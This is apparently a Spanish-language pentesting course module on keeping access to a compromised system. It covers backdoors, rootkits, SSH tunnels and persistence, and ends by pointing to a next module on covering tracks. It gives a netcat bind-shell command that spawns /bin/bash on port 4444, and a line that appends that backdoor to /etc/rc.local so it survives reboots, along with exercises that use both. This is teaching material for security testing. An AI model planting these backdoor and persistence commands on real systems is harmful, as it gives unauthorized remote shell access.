Introducción

El mantenimiento del acceso es una fase crucial en el proceso de post-explotación durante una prueba de penetración. Una vez que un pentester ha logrado comprometer un sistema, es esencial asegurar que el acceso se pueda mantener para realizar análisis adicionales, recopilar más información o preparar el terreno para futuras acciones. Este módulo cubrirá las técnicas y herramientas utilizadas para mantener el acceso a un sistema comprometido.

Objetivos de Aprendizaje

Al finalizar este módulo, los estudiantes serán capaces de:

  1. Comprender la importancia del mantenimiento del acceso en el pentesting.
  2. Identificar y utilizar diversas técnicas para mantener el acceso a sistemas comprometidos.
  3. Implementar herramientas y scripts para automatizar el mantenimiento del acceso.
  4. Reconocer y mitigar los riesgos asociados con el mantenimiento del acceso.

Conceptos Clave

  1. Backdoors

Una backdoor es un método para eludir la autenticación normal y obtener acceso remoto a un sistema comprometido. Las backdoors pueden ser instaladas manualmente o mediante scripts automatizados.

  1. Rootkits

Los rootkits son conjuntos de herramientas diseñadas para ocultar la presencia de ciertos procesos o programas en el sistema, permitiendo al atacante mantener el acceso sin ser detectado.

  1. Túneles y Proxies

Los túneles y proxies permiten a los atacantes redirigir el tráfico de red a través de sistemas comprometidos, facilitando el acceso remoto y la comunicación segura.

  1. Persistencia

La persistencia se refiere a las técnicas utilizadas para asegurar que el acceso se mantenga incluso después de reinicios del sistema o intentos de limpieza por parte de los administradores.

Técnicas de Mantenimiento del Acceso

  1. Instalación de Backdoors

Ejemplo de Backdoor con Netcat

Netcat es una herramienta versátil que puede ser utilizada para crear backdoors simples.

# En el sistema comprometido
nc -lvp 4444 -e /bin/bash

Explicación:

  • nc: Comando para ejecutar Netcat.
  • -lvp 4444: Escucha en el puerto 4444.
  • -e /bin/bash: Ejecuta una shell bash cuando se establece una conexión.

Ejercicio:

  1. Instala Netcat en un sistema de prueba.
  2. Configura una backdoor utilizando el comando anterior.
  3. Conéctate a la backdoor desde otro sistema utilizando:
    nc <IP_del_sistema_comprometido> 4444
    

  1. Uso de Rootkits

Ejemplo de Rootkit: rkHunter

rkHunter es una herramienta que puede ser utilizada para detectar rootkits, pero también se puede estudiar para entender cómo funcionan.

# Instalación de rkHunter
sudo apt-get install rkhunter

# Ejecución de rkHunter
sudo rkhunter --check

Explicación:

  • rkhunter --check: Escanea el sistema en busca de rootkits conocidos.

Ejercicio:

  1. Instala rkHunter en un sistema de prueba.
  2. Ejecuta un escaneo y analiza los resultados.

  1. Configuración de Túneles y Proxies

Ejemplo de Túnel SSH

Un túnel SSH puede ser utilizado para redirigir el tráfico a través de un sistema comprometido.

# En el sistema atacante
ssh -L 8080:localhost:80 user@<IP_del_sistema_comprometido>

Explicación:

  • -L 8080:localhost:80: Redirige el puerto 8080 del sistema atacante al puerto 80 del sistema comprometido.

Ejercicio:

  1. Configura un túnel SSH utilizando el comando anterior.
  2. Accede a un servicio web en el sistema comprometido a través del túnel.

  1. Implementación de Persistencia

Ejemplo de Script de Persistencia

Un script de persistencia puede ser añadido a los scripts de inicio del sistema para asegurar que una backdoor se ejecute después de cada reinicio.

# Script de persistencia en /etc/rc.local
echo "nc -lvp 4444 -e /bin/bash" >> /etc/rc.local

Explicación:

  • echo "nc -lvp 4444 -e /bin/bash" >> /etc/rc.local: Añade el comando de Netcat al script de inicio del sistema.

Ejercicio:

  1. Añade un comando de backdoor al script de inicio del sistema.
  2. Reinicia el sistema y verifica que la backdoor se ejecute automáticamente.

Riesgos y Mitigaciones

Riesgos

  • Detección por Administradores: Las técnicas de mantenimiento del acceso pueden ser detectadas por administradores de sistemas.
  • Compromiso de Seguridad: Mantener el acceso puede comprometer la seguridad del sistema y exponerlo a otros atacantes.

Mitigaciones

  • Uso de Técnicas de Evasión: Utilizar técnicas avanzadas para evadir la detección, como rootkits y cifrado de tráfico.
  • Monitoreo y Auditoría: Implementar monitoreo y auditoría continua para detectar y mitigar accesos no autorizados.

Conclusión

El mantenimiento del acceso es una fase crítica en el pentesting que permite a los atacantes asegurar su presencia en un sistema comprometido. A través de técnicas como la instalación de backdoors, el uso de rootkits, la configuración de túneles y proxies, y la implementación de scripts de persistencia, los pentesters pueden mantener el acceso y continuar con sus actividades de evaluación de seguridad. Sin embargo, es esencial ser consciente de los riesgos asociados y tomar medidas para mitigarlos.

Resumen

  • Backdoors: Métodos para obtener acceso remoto.
  • Rootkits: Herramientas para ocultar la presencia de procesos.
  • Túneles y Proxies: Redirigir tráfico de red.
  • Persistencia: Asegurar el acceso después de reinicios.

Próximos Pasos

En el siguiente módulo, exploraremos la Cobertura de Huellas, donde aprenderemos cómo ocultar las actividades realizadas durante una prueba de penetración para evitar la detección.

© Copyright 2024. Todos los derechos reservados